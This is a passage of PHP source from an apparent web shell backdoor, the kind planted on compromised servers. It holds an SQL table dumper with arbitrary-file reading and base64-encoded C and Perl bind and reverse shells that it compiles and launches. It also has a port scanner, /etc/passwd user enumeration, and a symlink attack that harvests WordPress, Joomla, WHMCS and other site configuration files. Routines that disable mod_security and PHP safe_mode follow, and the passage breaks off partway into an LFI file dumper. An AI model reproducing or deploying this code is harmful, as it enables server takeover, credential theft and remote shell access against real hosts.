1328 <td>Login</td>
1329 <td>Password</td>
1330 <td>Database</td>
1331 <td></td>
1332 </tr>
1333 <tr>
1334 <input type=hidden name=a value=Sql>
1335 <input type=hidden name=p1 value=\'query\'>
1336 <input type=hidden name=p2>
1337 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1338 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1339 <td>
1340 <select name=\'type\'>
1341 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
1342 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
1343 </select></td>
1344 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
1345 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
1346 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
1347 <td>';
1348 $tmp = "<input type=text name=sql_base value=''>";
1349 if(isset($_POST['sql_host'])){
1350 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1351 switch($_POST['charset']) {
1352 case "Windows-1251": $db->setCharset('cp1251'); break;
1353 case "UTF-8": $db->setCharset('utf8'); break;
1354 case "KOI8-R": $db->setCharset('koi8r'); break;
1355 case "KOI8-U": $db->setCharset('koi8u'); break;
1356 case "cp866": $db->setCharset('cp866'); break;
1357 }
1358 $db->listDbs();
1359 echo "<select name=sql_base><option value=''></option>";
1360 while($item = $db->fetch()) {
1361 list($key, $value) = each($item);
1362 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1363 }
1364 echo '</select>';
1365 }
1366 else echo $tmp;
1367 }else
1368 echo $tmp;
1369 echo '</td>
1370 <td><input type=submit value=">>"></td>
1371 </tr>
1372 </table>
1373 <script>
1374 function st(t,l) {
1375 document.sf.p1.value = \'select\';
1376 document.sf.p2.value = t;
1377 if(l!=null)document.sf.p3.value = l;
1378 document.sf.submit();
1379 }
1380 function is() {
1381 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
1382 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
1383 }
1384 </script>';
1385 if(isset($db) && $db->link){
1386 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1387 if(!empty($_POST['sql_base'])){
1388 $db->selectdb($_POST['sql_base']);
1389 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1390 $tbls_res = $db->listTables();
1391 while($item = $db->fetch($tbls_res)) {
1392 list($key, $value) = each($item);
1393 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1394 $value = htmlspecialchars($value);
1395 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1396 }
1397 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1398 if(@$_POST['p1'] == 'select') {
1399 $_POST['p1'] = 'query';
1400 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1401 $num = $db->fetch();
1402 $num = $num['n'];
1403 echo "<span>".$_POST['p2']."</span> ($num) ";
1404 for($i=0;$i<($num/30);$i++)
1405 if($i != (int)$_POST['p3'])
1406 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1407 else
1408 echo ($i+1)," ";
1409 if($_POST['type']=='pgsql')
1410 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1411 else
1412 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1413 echo "<br><br>";
1414 }
1415 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1416 $db->query(@$_POST['p3']);
1417 if($db->res !== false) {
1418 $title = false;
1419 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1420 $line = 1;
1421 while($item = $db->fetch()) {
1422 if(!$title) {
1423 echo '<tr>';
1424 foreach($item as $key => $value)
1425 echo '<th>'.$key.'</th>';
1426 reset($item);
1427 $title=true;
1428 echo '</tr><tr>';
1429 $line = 2;
1430 }
1431 echo '<tr class="l'.$line.'">';
1432 $line = $line==1?2:1;
1433 foreach($item as $key => $value) {
1434 if($value == null)
1435 echo '<td><i>null</i></td>';
1436 else
1437 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1438 }
1439 echo '</tr>';
1440 }
1441 echo '</table>';
1442 } else {
1443 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1444 }
1445 }
1446 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1447 echo "</td></tr>";
1448 }
1449 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1450 if(@$_POST['p1'] == 'loadfile') {
1451 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
1452 $file = $db->fetch();
1453 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1454 }
1455 }
1456 echo '</div>';
1457 printFooter();
1458}
1459
1460function actionNetwork() {
1461 printHeader();
1462 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1463 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1464 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
1465 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1466
1467 echo '<h1>Network-ing Tools</h1><div class=content>
1468 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
1469 <br /><span>Bind port to /bin/sh</span><br/>
1470 Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Password\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
1471 </form>
1472 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
1473 <br /><br /><span>Back-connect to</span><br/>
1474 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
1475 </form><br>';
1476 if(isset($_POST['p1'])) {
1477 function cf($f,$t) {
1478 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1479 if($w) {
1480 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1481 @fclose($w);
1482 }
1483 }
1484 if($_POST['p1'] == 'bpc') {
1485 cf("/tmp/bp.c",$bind_port_c);
1486 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
1487 @unlink("/tmp/bp.c");
1488 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1489 echo "<pre class=ml1>$out\
1490".ex("ps aux | grep bp")."</pre>";
1491 }
1492 if($_POST['p1'] == 'bpp') {
1493 cf("/tmp/bp.pl",$bind_port_p);
1494 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1495 echo "<pre class=ml1>$out\
1496".ex("ps aux | grep bp.pl")."</pre>";
1497 }
1498 if($_POST['p1'] == 'bcc') {
1499 cf("/tmp/bc.c",$back_connect_c);
1500 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
1501 @unlink("/tmp/bc.c");
1502 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1503 echo "<pre class=ml1>$out\
1504".ex("ps aux | grep bc")."</pre>";
1505 }
1506 if($_POST['p1'] == 'bcp') {
1507 cf("/tmp/bc.pl",$back_connect_p);
1508 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1509 echo "<pre class=ml1>$out\
1510".ex("ps aux | grep bc.pl")."</pre>";
1511 }
1512 }
1513 echo '</div>';
1514 printFooter();
1515}
1516
1517function actionPortScanner() {
1518 printHeader();
1519 echo '<h1>Port Scanner</h1>';
1520 echo '<div class="content">';
1521 echo '<form action="" method="post">';
1522
1523 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1524 $start = strip_tags($_POST['start']);
1525 $end = strip_tags($_POST['end']);
1526 $host = strip_tags($_POST['host']);
1527 for($i = $start; $i<=$end; $i++){
1528 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1529 if($fp){
1530 echo 'Port '.$i.' is <font color=lime>open</font><br>';
1531 }
1532 flush();
1533 }
1534 } else {
1535 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1536 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1537 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1538 Host: <input type="text" name="host" value="localhost"/><br /><br />
1539 Port start: <input type="text" name="start" value="0"/><br /><br />
1540 Port end:<input type="text" name="end" value="5000"/><br /><br />
1541 <input type="submit" value="Scan Ports" />
1542 </form></center><br /><br />';
1543 }
1544 echo '</div>';
1545 printFooter();
1546}
1547function actionReadable() {
1548 printHeader();
1549 echo '<h1>Readable Directories</h1>';
1550 echo '<div class="content">';
1551 $sm = ini_get('safe_mode');
1552 if($sm) {
1553 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
1554 } else {
1555 @$passwd = file('/etc/passwd','r');
1556 if (!$passwd) {
1557 echo '<br /><b>[#] Error : couldn`t read /etc/passwd</b><br /><br />';
1558 } else {
1559 $pub = array();
1560 $users = array();
1561 $conf = array();
1562 $i = 0;
1563 foreach($passwd as $p) {
1564 $r = explode(':',$p);
1565 $dirz = $r[5].'/public_html/';
1566 if(strpos($r[5],'home')) {
1567 array_push($users,$r[0]);
1568 if (is_readable($dirz)) {
1569 array_push($pub,$dirz);
1570 }
1571 }
1572 }
1573 echo '<br><br>';
1574 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\
1575"."<br />";
1576 echo "[+] Founded ".sizeof($pub)." readable public_html directories\
1577"."<br /><br /><br />";
1578 foreach ($pub as $user) {
1579 echo $user."<br>";
1580 }
1581 echo "<br /><br /><br />[+] Complete...\
1582"."<br />";
1583 }
1584 }
1585 echo '</div>';
1586 printFooter();
1587}
1588
1589function actionSymlink() {
1590 printHeader();
1591 echo '<h1>Symlink</h1>';
1592 $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1593 $expld = explode('/',$furl );
1594 $burl =str_replace(end($expld),'',$furl);
1595
1596 echo '<div class="content"><center>
1597 <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
1598 [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;">New</sup></a> ] -
1599 [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
1600
1601 if(isset($_POST['p1']) && $_POST['p1']=='website')
1602 {
1603 echo "<center>";
1604 $d0mains = @file("/etc/named.conf");
1605 if(!$d0mains){
1606 echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1607 } else {
1608 echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
1609
1610 $unk = array();
1611 foreach($d0mains as $d0main){
1612 if(@eregi("zone",$d0main)){
1613 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1614 flush();
1615 if(strlen(trim($domains[1][0])) > 2){
1616 $unk[] = $domains[1][0];
1617 flush();
1618
1619 }
1620 }
1621 }
1622 $count=1;
1623 $unk = array_unique($unk);
1624 $l=0;
1625 foreach($unk as $d){
1626 $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
1627 echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
1628 flush();
1629 $count++;
1630 $l=$l?0:1;
1631 }
1632 echo "</table>";
1633 }
1634 echo "</center>";
1635 }
1636
1637 if(isset($_POST['p1']) && $_POST['p1']=='whole')
1638 {
1639 echo "<center>";
1640 @mkdir('Spades_sym',0777);
1641 $hdt = "Options all\
1642DirectoryIndex Sux.html\
1643AddType text/plain .php\
1644AddHandler server-parsed .php\
1645AddType text/plain .html\
1646AddHandler txt .html\
1647Require None\
1648Satisfy Any";
1649 $hfp =@fopen ('Spades_sym/.htaccess','w');
1650 fwrite($hfp ,$hdt);
1651 if(function_exists('symlink')) {
1652 @symlink('/','Spades_sym/root');
1653 }
1654 $d0mains = @file('/etc/named.conf');
1655 if(!$d0mains) {
1656 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1657 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1658 $dt = file('/etc/passwd');
1659 $l=0;
1660 foreach($dt as $d) {
1661 $r = explode(':',$d);
1662 if(strpos($r[5],'home')) {
1663 echo "<tr".($l?' class=l1':'')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href='Spades_sym/root".$r[5]."/public_html' target='_blank'>symlink</a></td></tr>";
1664 $l=$l?0:1;
1665 $j++;
1666 }
1667 }
1668 echo '</table>';
1669 } else {
1670 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
1671 $count=1;
1672 $mck = array();
1673 foreach($d0mains as $d0main){
1674 if(@eregi('zone',$d0main)){
1675 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1676 flush();
1677 if(strlen(trim($domain[1][0])) >2){
1678 $mck[] = $domain[1][0];
1679 }
1680 }
1681 }
1682 $mck = array_unique($mck);
1683 $usr = array();
1684 $dmn = array();
1685 foreach($mck as $o) {
1686 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1687 $usr[] = $infos['name'];
1688 $dmn[] = $o;
1689 }
1690 array_multisort($usr,$dmn);
1691 $dt = file('/etc/passwd');
1692 $passwd = array();
1693 foreach($dt as $d) {
1694 $r = explode(':',$d);
1695 if(strpos($r[5],'home')) {
1696 $passwd[$r[0]] = $r[5];
1697 }
1698 }
1699 $l=0;
1700 $j=1;
1701 foreach($usr as $r) {
1702 echo "<tr".($l?' class=l1':'')."><td>".$count++."</td>
1703 <td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td>
1704 <td>'.$r."</td>
1705 <td><a href='Spades_sym/root".$passwd[$r]."/public_html' target='_blank'>symlink</a></td></tr>";
1706 flush();
1707 $l=$l?0:1;
1708 $j++;
1709 }
1710 echo '</table>';
1711 }
1712 echo "</center>";
1713 }
1714
1715 if(isset($_POST['p1']) && $_POST['p1']=='config')
1716 {
1717 echo "<center>";
1718 @mkdir('Spades_sym',0777);
1719 $hdt = "Options all \
1720 DirectoryIndex Sux.html \
1721 AddType text/plain .php \
1722 AddHandler server-parsed .php \
1723 AddType text/plain .html \
1724 AddHandler txt .html \
1725 Require None \
1726 Satisfy Any";
1727 $hfp = @fopen ('Spades_sym/.htaccess','w');
1728 @fwrite($hfp ,$hdt);
1729 if(function_exists('symlink')) {
1730 @symlink('/','Spades_sym/root');
1731 }
1732 $d0mains = @file('/etc/named.conf');
1733 if(!$d0mains) {
1734 echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
1735 } else {
1736 echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
1737 $count = 1;
1738 $l=0;
1739 foreach($d0mains as $d0main){
1740 if(@eregi('zone',$d0main)){
1741 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1742 flush();
1743 if(strlen(trim($domain[1][0]))>2){
1744 $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
1745
1746 $c1 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/wp-config.php';
1747 $ch01 = get_headers($c1);
1748 $cf01 = $ch01[0];
1749 $c2 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
1750 $ch02 = get_headers($c2);
1751 $cf02 = $ch02[0];
1752 $c3 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/configuration.php';
1753 $ch03 = get_headers($c3);
1754 $cf03 = $ch03[0];
1755 $c4 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
1756 $ch04 = get_headers($c4);
1757 $cf04 = $ch04[0];
1758 $c5 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/includes/config.php';
1759 $ch05 = get_headers($c5);
1760 $cf05 = $ch05[0];
1761 $c6 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
1762 $ch06 = get_headers($c6);
1763 $cf06 = $ch06[0];
1764 $c7 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
1765 $ch07 = get_headers($c7);
1766 $cf07 = $ch07[0];
1767 $c8 = $burl.'/Spades_sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
1768 $ch08 = get_headers($c8);
1769 $cf08 = $ch08[0];
1770 $c9 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
1771 $ch09 = get_headers($c9);
1772 $cf09 = $ch09[0];
1773 $c10 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1774 $ch10 = get_headers($c10);
1775 $cf10 = $ch10[0];
1776 $c11 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/submitticket.php';
1777 $ch11 = get_headers($c11);
1778 $cf11 = $ch11[0];
1779 $c12 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
1780 $ch12 = get_headers($c12);
1781 $cf12 = $ch12[0];
1782 $c13 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
1783 $ch13 = get_headers($c13);
1784 $cf13 = $ch13[0];
1785 $c14 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
1786 $ch14 = get_headers($c14);
1787 $cf14 = $ch14[0];
1788 $c15 = $burl.'/Spades_sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
1789 $ch15 = get_headers($c15);
1790 $cf15 = $ch15[0];
1791
1792 $out = ' ';
1793 if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
1794 elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
1795 elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
1796 elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
1797 elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
1798 elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
1799 elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
1800 elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
1801 elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
1802 elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
1803 elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
1804 elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
1805 elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
1806 elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
1807 elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
1808 else {
1809 continue;
1810 }
1811 echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
1812 flush();
1813 $l=$l?0:1;
1814 }
1815 }
1816 }
1817 echo "</table>";
1818 }
1819 echo "</center>";
1820 }
1821 echo "</div>";
1822 printFooter();
1823}
1824
1825function actionBypass() {
1826 printHeader();
1827 echo '<h1>Safe Mode</h1>';
1828 echo '<div class="content">';
1829 echo "<div class=header><center><h3><span>| SAFE MODE, MOD SECURITY DISABLED & PERL 500 (INTERNAL ERROR) BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
1830 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
1831 if(!empty($_POST['p2']) && isset($_POST['p2']))
1832 {
1833 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1834 fwrite($fil,'<IfModule mod_security.c>
1835 Sec------Engine Off
1836 Sec------ScanPOST Off
1837 </IfModule>');
1838 fclose($fil);
1839 }
1840 if(!empty($_POST['p1'])&& isset($_POST['p1']))
1841 {
1842 $fil=fopen($GLOBALS['cwd']."php.ini","w");
1843 fwrite($fil,'safe_mode=OFF
1844 disable_functions=NONE');
1845 fclose($fil);
1846 }
1847 if(!empty($_POST['p3']) && isset($_POST['p3']))
1848 {
1849 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
1850 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
1851 AddType application/x-httpd-cgi .sh
1852 AddHandler cgi-script .pl
1853 AddHandler cgi-script .pl');
1854 fclose($fil);
1855 }
1856 echo "<br><br /><br /></div>";
1857 echo '</div>';
1858 printFooter();
1859}
1860function actionlfiscan() {
1861 printHeader();
1862 print '
1863 <h3>LFI File Scanner & Dumper</h3>
1864
1865 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
1866 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
1867 <option value="1">
1868 Access Log
1869 </option>
1870
1871 <option value="2">
1872 httpd.conf
1873 </option>
1874
1875 <option value="3">
1876 Error Log
1877 </option>
1878 <option value="4">
1879 php.ini
1880 </option>
1881 <option value="5">
1882 MySQL
1883 </option>
1884 <option value="6">
1885 FTP
1886 </option>
1887 <option value="7">
1888 Environ
1889 </option>
1890 </select> Null: <select name="null">
1891 <option value="%00">
1892 Yes
1893 </option>
1894
1895 <option value="">
1896 No
1897 </option>
1898 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
1899 </form>';
1900 error_reporting(0);
1901 if($_POST['lfiurl']) {
1902 print "<pre>";
1903 $cheader = $_POST['custom_header'];
1904 $target = $_POST['lfiurl'];
1905 $type = $_POST['scantype'];
1906 $byte1 = $_POST['null'];
